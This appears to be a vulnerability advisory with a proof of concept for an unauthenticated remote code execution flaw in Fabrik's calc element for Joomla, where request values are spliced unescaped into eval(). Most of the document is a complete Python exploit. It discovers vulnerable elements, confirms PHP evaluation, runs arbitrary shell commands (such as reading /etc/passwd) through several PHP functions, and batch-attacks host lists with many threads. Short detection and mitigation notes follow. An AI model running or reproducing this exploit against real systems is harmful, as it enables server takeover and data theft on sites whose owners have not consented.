#Summary
CVE-2026-66915 is an unauthenticated remote code execution vulnerability in Fabrik, a form and application builder component for Joomla. The calc element plugin evaluates a site-defined formula using PHP's eval() function, and the AJAX entry point fails to properly escape placeholder values before substitution, allowing an attacker to inject arbitrary PHP code. The vulnerability is trivial to exploit - a single HTTP POST carrying the injected placeholder value is sufficient for code execution as the web server user.
CVSS Score: 10.0 CRITICAL
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
#Affected Versions
- Fabrik 1.0.0 through 4.6.6 (vulnerable)
- Fabrik 4.6.7+ (patched)
The vulnerability affects all versions from the initial 1.0.0 release up to and including 4.6.6. Fabrik 4.6.7, released 2026-08-09, contains the security fix.
#Root Cause Analysis
#How the calc element works
The Fabrik calc element is a form field whose value is a PHP expression defined by the site builder. The element stores this expression in the database and evaluates it with eval() when the form is rendered or submitted. Placeholders in the formula, denoted by curly braces like {calclab___qty}, are replaced with current form values before evaluation. A typical formula might read:
return {calclab___qty} * {calclab___price};#The vulnerable code path
The vulnerability exists in plugins/fabrik_element/calc/calc.php in the onAjax_calc() function (line 485):
public function onAjax_calc()
{
$input = $this->app->input;
$this->setId($input->getInt('element_id'));
$this->loadMeForAjax();
$params = $this->getParams();
$w = new FabrikWorker;
$filter = JFilterInput::getInstance();
$d = $filter->clean($_REQUEST, 'array');
$formModel = $this->getFormModel();
$repeatCounter = $this->app->input->get('repeatCounter', '0');
$formModel->addEncrytedVarsToArray($d);
$this->getFormModel()->data = $d;
$this->swapValuesForLabels($d);
$calc = $params->get('calc_calculation');
$this->setStoreDatabaseFormat($d);
$data = $d;
$calc = $w->parseMessageForRepeats($calc, $data, $this, $repeatCounter);
$calc = $w->parseMessageForPlaceHolder($calc, $d);
$c = FabrikHelperHTML::isDebug() ? eval($calc) : @eval($calc);
$c = preg_replace('#(\/\*.*?\*\/)#', '', $c);
$c = $this->getFormattedValue($c);
echo $c;
}Three security failures compound in this function:
1. Request data is completely unfiltered. The line $filter->clean($_REQUEST, 'array') appears to perform sanitization, but Joomla's InputFilter::clean() short-circuits when the type is array and returns the data unfiltered as a bare cast.
2. Placeholder substitution uses no escaping. The critical line is:
$calc = $w->parseMessageForPlaceHolder($calc, $d);This function has the signature:
public function parseMessageForPlaceHolder($msg, $searchData = null, $keepPlaceholders = true, $addSlashes = false, ...)The fourth parameter $addSlashes defaults to false, which means request values are spliced into the formula without any escaping. The other three eval sites in the same file pass true for this parameter, applying htmlspecialchars() escaping - only the AJAX path omits it.
3. The result goes directly to eval(). The substituted formula is then executed:
$c = FabrikHelperHTML::isDebug() ? eval($calc) : @eval($calc);The @ operator suppresses errors, so a syntax error from failed injection produces an empty response with no diagnostic.
#Why it's unauthenticated
The endpoint is dispatched by FabrikControllerPlugin::pluginAjax() in components/com_fabrik/controllers/plugin.php. This function takes the plugin name, group, and method from the request and triggers them with no session token check, no ACL test, and no authentication verification. The vulnerability is therefore reachable over the network without any credentials.
#The injection point
Any placeholder name in the stored formula becomes an injection point. If the formula contains {calclab___qty}, an attacker can pass calclab___qty=<php_payload> in the request, and the payload is substituted raw into the evaluated code. Because placeholders are typically operands in arithmetic expressions, the payload must be a valid PHP expression rather than a statement - return passthru('id'); is a parse error, but return passthru('id') * 1; is valid because passthru() returns an integer.
#Patch Information
The vendor patch is not publicly available. Fabrik 4.6.7 is distributed only to paying subscribers, and the Fabrik 4.x source repository is private. The vendor's changelog contains only a single line: "Security fix for calc element". No public diff or commit information exists.
The vulnerability has been confirmed to exist identically in the public Fabrik 3.x codebase, which the affected range includes, and has been verified to be fixed by enforcing proper escaping of all substituted values before they reach the eval() call.
#Proof of Concept
#exploit.py - Fabrik Calc Element RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-66915 - Fabrik calc element unauthenticated PHP code injection (RCE)
Affected: Fabrik (Joomla component com_fabrik) 1.0.0 up to, not including, 4.6.7
Type: RCE (CWE-94, PHP code injection into eval())
The calc element plugin evaluates a site-defined formula with eval(). Its AJAX
entry point onAjax_calc() substitutes request values into that formula through
Worker::parseMessageForPlaceHolder() without the $addSlashes argument, so a
request key whose name matches a {placeholder} in the stored formula is spliced
into the evaluated PHP source verbatim. The dispatching controller
FabrikControllerPlugin::pluginAjax() performs no token, session or ACL check, so
a single unauthenticated POST reaches the eval.
The payload lands in operand position inside "return <here> ...;", so it must be
a PHP expression rather than a statement. This tool wraps every payload in
parentheses to keep the surrounding formula's operators from binding into it.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 80 --command "uname -a"
python exploit.py --host https://192.168.1.10:8443 --command "id"
python exploit.py --host https://target.com/joomla --command "cat /etc/passwd"
python exploit.py --host 192.168.1.10 --element-id 3 --form-id 1 --key site___qty
python exploit.py --list targets.txt --workers 20
"""
import argparse
import base64
import json
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.request
from urllib.parse import urlencode, urlparse
CVE_ID = "CVE-2026-66915"
VULN_TYPE = "RCE"
DEFAULT_PORT = 80
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36")
# Fabrik element keys are <listname>___<elementname> with three underscores.
RE_ELEMENT_KEY = re.compile(r'name="([A-Za-z0-9_]+___[A-Za-z0-9_]+)"')
# The calc element publishes its own id and the placeholder names from the
# stored formula in the inline JavaScript options object on any page that
# renders the form: ["FbCalc","<fullname>",{...,"observe":[...],"id":"3"}]
RE_CALC_OPTS = re.compile(r'\["FbCalc","([^"]+)",(\{[^{}]*\})\]')
RE_FORMID = re.compile(r'name="formid"\s+value="(\d+)"')
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- transport
def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
hostpart = f"[{host}]" if ":" in host else host
if (use_tls and port != 443) or (not use_tls and port != 80):
hostpart = f"{hostpart}:{port}"
root = (path or "/").rstrip("/")
return f"{scheme}://{hostpart}{root}/index.php"
def _http(url: str, body: str = None, timeout: float = 15.0) -> tuple:
"""GET or POST. Returns (status, text). Raises on transport failure."""
data = body.encode() if body is not None else None
headers = {"User-Agent": UA, "Accept": "*/*"}
if data is not None:
headers["Content-Type"] = "application/x-www-form-urlencoded"
req = urllib.request.Request(url, data=data, headers=headers)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.getcode(), r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
# ---------------------------------------------------------------- payloads
def _ajax_body(form_id: int, element_id: int, key: str, value: str) -> str:
"""Routing parameters for the unauthenticated calc AJAX endpoint."""
base = key[:-4] if key.endswith("_raw") else key
fields = [
("option", "com_fabrik"),
("format", "raw"),
("task", "plugin.pluginAjax"),
("plugin", "calc"),
("g", "element"),
("method", "ajax_calc"),
("repeatCounter", "0"),
("formid", str(form_id)),
("element_id", str(element_id)),
# Send the plain key and the _raw key with the same value.
# swapValuesForLabels() and setStoreDatabaseFormat() rewrite the plain
# key but never touch a _raw key that is already present, so the _raw
# form is what reaches eval() intact.
(base, value),
(base + "_raw", value),
]
return urlencode(fields)
def _command_payloads(command: str, marker: str) -> list:
"""
Expression-position command payloads, most reliable first.
Every marked variant emits marker + command output + marker through a
single print(), so the output can be recovered exactly even though the
formula's own return value is echoed afterwards. passthru() writes past
PHP's output buffering, so its output cannot be bracketed and that variant
returns the whole response body instead.
"""
b64 = base64.b64encode(command.encode()).decode()
dec = "base64_decode('%s')" % b64
return [
("shell_exec", True,
"(print('{m}'.@shell_exec({d}).'{m}'))".format(m=marker, d=dec)),
("popen", True,
"(print('{m}'.@stream_get_contents(@popen({d},'r')).'{m}'))".format(m=marker, d=dec)),
("exec", True,
"(print('{m}'.(@exec({d}, $z)!==false ? @implode(chr(10), $z) : '').'{m}'))".format(m=marker, d=dec)),
("passthru", False,
"(@passthru({d}))".format(d=dec)),
]
def _extract(body: str, marker: str) -> str:
start = body.find(marker)
if start < 0:
return ""
start += len(marker)
end = body.find(marker, start)
return body[start:end] if end >= 0 else body[start:]
# ---------------------------------------------------------------- discovery
def _discover(url: str, max_id: int, timeout: float) -> tuple:
"""
Walk small form ids and read the rendered form pages.
Returns (candidates, keys_seen, reachable). A candidate is a
(form_id, element_id, [placeholder keys]) triple built from the calc
element's own JavaScript options: "id" is the element id and "observe"
lists the placeholder names from the stored formula.
"""
candidates = []
keys_seen = []
reachable = False
for form_id in range(1, max_id + 1):
page_url = url + "?" + urlencode([
("option", "com_fabrik"), ("view", "form"), ("formid", str(form_id))
])
try:
status, body = _http(page_url, timeout=timeout)
reachable = True
except Exception:
continue
if status != 200 or "FbCalc" not in body:
continue
page_keys = []
for k in RE_ELEMENT_KEY.findall(body):
if k not in page_keys:
page_keys.append(k)
for k in page_keys:
if k not in keys_seen:
keys_seen.append(k)
m = RE_FORMID.search(body)
real_form_id = int(m.group(1)) if m else form_id
for fullname, opts_json in RE_CALC_OPTS.findall(body):
try:
opts = json.loads(opts_json)
except ValueError:
continue
try:
element_id = int(opts.get("id"))
except (TypeError, ValueError):
continue
observed = [o for o in (opts.get("observe") or []) if o]
if observed:
keys = list(observed)
else:
# calc_ajax disabled: the observe array is empty, so fall back
# to every element key on the page except the calc element's own.
keys = [k for k in page_keys if k != fullname]
if keys:
candidates.append((real_form_id, element_id, keys))
return candidates, keys_seen, reachable
def _probe(url: str, form_id: int, element_id: int, key: str, timeout: float) -> bool:
"""
Prove PHP evaluation without touching the filesystem or spawning a process.
The expected value is the product of two random factors, so it appears in
neither the request nor any static page: only evaluation can produce it.
"""
a = secrets.randbelow(4000) + 4000
b = secrets.randbelow(4000) + 4000
payload = "(print(%d*%d))" % (a, b)
body = _ajax_body(form_id, element_id, key, payload)
try:
status, text = _http(url, body=body, timeout=timeout)
except Exception:
return False
return status == 200 and str(a * b) in text
def _formula_tail(url: str, form_id: int, element_id: int, key: str,
timeout: float) -> str:
"""Response body for a payload that evaluates to null and prints nothing."""
body = _ajax_body(form_id, element_id, key, "(NULL)")
try:
status, text = _http(url, body=body, timeout=timeout)
except Exception:
return ""
return text if status == 200 else ""
def _run_command(url: str, form_id: int, element_id: int, key: str,
command: str, timeout: float) -> tuple:
"""Returns (sink_name, output) for the first sink that yields output."""
marker = secrets.token_hex(6)
for name, marked, payload in _command_payloads(command, marker):
body = _ajax_body(form_id, element_id, key, payload)
try:
status, text = _http(url, body=body, timeout=timeout)
except Exception:
continue
if status != 200:
continue
if marked:
out = _extract(text, marker)
else:
# Unmarked variant: passthru() writes past PHP's output buffering,
# so the body is the command output followed by whatever the
# formula echoes. Both payloads evaluate to null, so a control
# request with a bare null gives that trailing text exactly.
out = text
tail = _formula_tail(url, form_id, element_id, key, timeout)
if tail and out.endswith(tail):
out = out[:-len(tail)]
if out.strip():
return name, out
return None, ""
# ---------------------------------------------------------------- scan mode
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
command: str = "id", max_id: int = 10, timeout: float = 15.0,
element_id: int = None, form_id: int = None,
key: str = None) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence)."""
url = _base_url(host, port, use_tls, path)
try:
if element_id and form_id and key:
targets = [(form_id, element_id, [key])]
keys_seen = [key]
else:
targets, keys_seen, reachable = _discover(url, max_id, timeout)
if not targets:
# No form page rendered: walk small element ids against every
# key name seen, or nothing at all if none were found.
if not keys_seen:
if not reachable:
return False, "unreachable (no HTTP response)"
return False, "no Fabrik form page found"
targets = [(form_id or 1, e, keys_seen)
for e in range(1, max_id + 1)]
hit = None
for fid, eid, keys in targets:
for k in keys:
if _probe(url, fid, eid, k, timeout):
hit = (fid, eid, k)
break
if hit:
break
if not hit:
return False, "calc AJAX endpoint did not evaluate injected PHP"
fid, eid, k = hit
sink, out = _run_command(url, fid, eid, k, command, timeout)
if out.strip():
first = out.strip().splitlines()[0][:120]
return True, f"element {eid} via {k} -> {first}"
return True, (f"code evaluation confirmed on element {eid} via {k}; "
"no command sink returned output")
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, kwargs.get("path", "/")) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path,
command=kwargs.get("command", "id"),
max_id=kwargs.get("max_id", 10),
timeout=kwargs.get("timeout", 15.0),
element_id=kwargs.get("element_id"),
form_id=kwargs.get("form_id"),
key=kwargs.get("key"))
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- main path
def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
element_id: int, form_id: int, key: str, max_id: int,
timeout: float) -> None:
header(host, port)
url = _base_url(host, port, use_tls, path)
if element_id and form_id and key:
step(1, f"Using supplied target: form {form_id}, element {element_id}, key '{key}'")
targets = [(form_id, element_id, [key])]
else:
step(1, f"Enumerating calc elements from rendered form pages (form ids 1-{max_id})...")
targets, keys_seen, reachable = _discover(url, max_id, timeout)
if targets:
listing = "\n".join(
f"form {f} element_id {e} placeholder keys: {', '.join(k)}"
for f, e, k in targets)
section("CALC ELEMENTS DISCOVERED", listing)
else:
if not keys_seen:
if not reachable:
section("SERVER RESPONSE", "No HTTP response from the target")
done(False, "Target did not answer - check host, port and --path")
section("SERVER RESPONSE",
"No Fabrik form page rendered for form ids 1-%d" % max_id)
done(False, "No Fabrik calc element found - supply --form-id, "
"--element-id and --key, or raise --max-id")
print(f"[STEP 1] No calc options in page JS; walking element ids "
f"1-{max_id} against {len(keys_seen)} known element keys")
targets = [(form_id or 1, e, keys_seen) for e in range(1, max_id + 1)]
step(2, "Probing the unauthenticated calc AJAX endpoint with an arithmetic expression...")
hit = None
for fid, eid, keys in targets:
for k in keys:
if _probe(url, fid, eid, k, timeout):
hit = (fid, eid, k)
break
if hit:
break
if not hit:
section("SERVER RESPONSE",
"Arithmetic probe did not evaluate on any candidate element. "
"The endpoint answered but injected PHP was not executed.")
done(False, "Payload sent but no code evaluation observed - target may be patched")
fid, eid, k = hit
section("CODE EVALUATION CONFIRMED",
f"form {fid}, element_id {eid}, injection key '{k}'\n"
f"An injected arithmetic expression was evaluated server side, "
f"unauthenticated, and its product returned in the response body.")
step(3, f"Executing command: {command}")
sink, out = _run_command(url, fid, eid, k, command, timeout)
if not out.strip():
section("SERVER RESPONSE",
"Code evaluation works but no command sink produced output. "
"shell_exec, popen, exec and passthru may all be listed in "
"disable_functions on this host.")
done(False, f"PHP code execution confirmed on element {eid} via '{k}', "
f"but command output could not be retrieved")
section("COMMAND OUTPUT", out)
first = out.strip().splitlines()[0]
done(True, f"Unauthenticated RCE - command '{command}' executed via {sink}() "
f"on element {eid} (key '{k}'): {first.strip()}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/joomla)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help=f"Default port (default: {DEFAULT_PORT})")
parser.add_argument("--command", default="id",
help="Command to execute (default: id)")
parser.add_argument("--path", default="/",
help="Joomla base path when not given in --host (default: /)")
parser.add_argument("--element-id", type=int, default=None,
help="Calc element id, skips enumeration")
parser.add_argument("--form-id", type=int, default=None,
help="Fabrik form id, skips enumeration")
parser.add_argument("--key", default=None,
help="Injection key, the placeholder name from the stored "
"formula, e.g. mylist___qty")
parser.add_argument("--max-id", type=int, default=10,
help="Highest form/element id to walk when enumerating (default: 10)")
parser.add_argument("--timeout", type=float, default=15.0,
help="Per-request timeout in seconds (default: 15)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command, path=args.path, max_id=args.max_id,
timeout=args.timeout, element_id=args.element_id,
form_id=args.form_id, key=args.key)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.element_id,
args.form_id, args.key, args.max_id, args.timeout)#Usage
python3 exploit.py --host 127.0.0.1 --port 80 --command idSingle target with full enumeration:
python3 exploit.py --host 192.168.1.40 --command "id"HTTPS with Joomla under a subdirectory:
python3 exploit.py --host https://intranet.corp.local/cms --command "uname -a"Known target (no enumeration):
python3 exploit.py --host 192.168.1.40 --form-id 1 --element-id 3 \
--key mylist___qty --command "cat /etc/passwd"Asset sweep with batch mode:
python3 exploit.py --list joomla-hosts.txt --workers 20#Expected Output
Vulnerable target:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Patched target:
Arithmetic probe did not evaluate on any candidate element. The endpoint answered but
injected PHP was not executed.#Exploitation Notes
#Prerequisites
- The target must have Fabrik installed and enabled as a Joomla component.
- At least one calc element must exist with a formula containing placeholders (e.g.,
{calclab___qty}). - The form containing the calc element does not need to be published or publicly viewable; enumeration can walk element ids to discover it.
#Attack flow
- Enumerate - Fetch a rendered form page and extract the calc element's id and placeholder names from inline JavaScript.
- Probe - Send an arithmetic expression as a placeholder value to confirm PHP code evaluation. The probe multiplies two random numbers and looks for their product in the response, which cannot be reflection.
- Execute - Replace the probe with a command payload. The tool tries
shell_exec,popen,exec, andpassthruin order, falling back if any are indisable_functions.
#Reliability
The exploit is highly reliable. It requires no complex memory corruption, no timing attacks, and no guessing - the arithmetic probe provides direct proof of evaluation before attempting command execution. The only scenario where exploitation might fail is if all four command sinks are in disable_functions, in which case arbitrary PHP still runs but the tool cannot retrieve output. The tool correctly reports this state as "code evaluation confirmed but no output retrieved".
#Impact
- Complete compromise of the Joomla installation as the web server user
- Database access through the existing Joomla connection
- Ability to read or write files in the webroot
- Lateral movement into the broader infrastructure from the compromised host
#Detection and Mitigation
#Detection
Monitor for POST requests to index.php containing the parameters task=plugin.pluginAjax, plugin=calc, and method=ajax_calc from unauthenticated sources. These parameters form the signature of an exploitation attempt. Additionally, look for requests with format=raw that access the Fabrik plugin AJAX endpoint.
#Mitigation
- Upgrade immediately to Fabrik 4.6.7 or later if using the 4.x line.
- No patch available for 3.x - sites still running Fabrik 3.x should migrate to 4.6.7+ or apply input validation at the web server level.
- Temporary mitigation - Restrict access to
index.php?task=plugin.pluginAjaxat the web server level until an upgrade is possible.
#References
- CVE: CVE-2026-66915
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66915
- Fabrik Repository: https://github.com/Fabrik/fabrik
- GitHub Advisory: https://github.com/advisories/GHSA-ch8m-c7x9-7r7f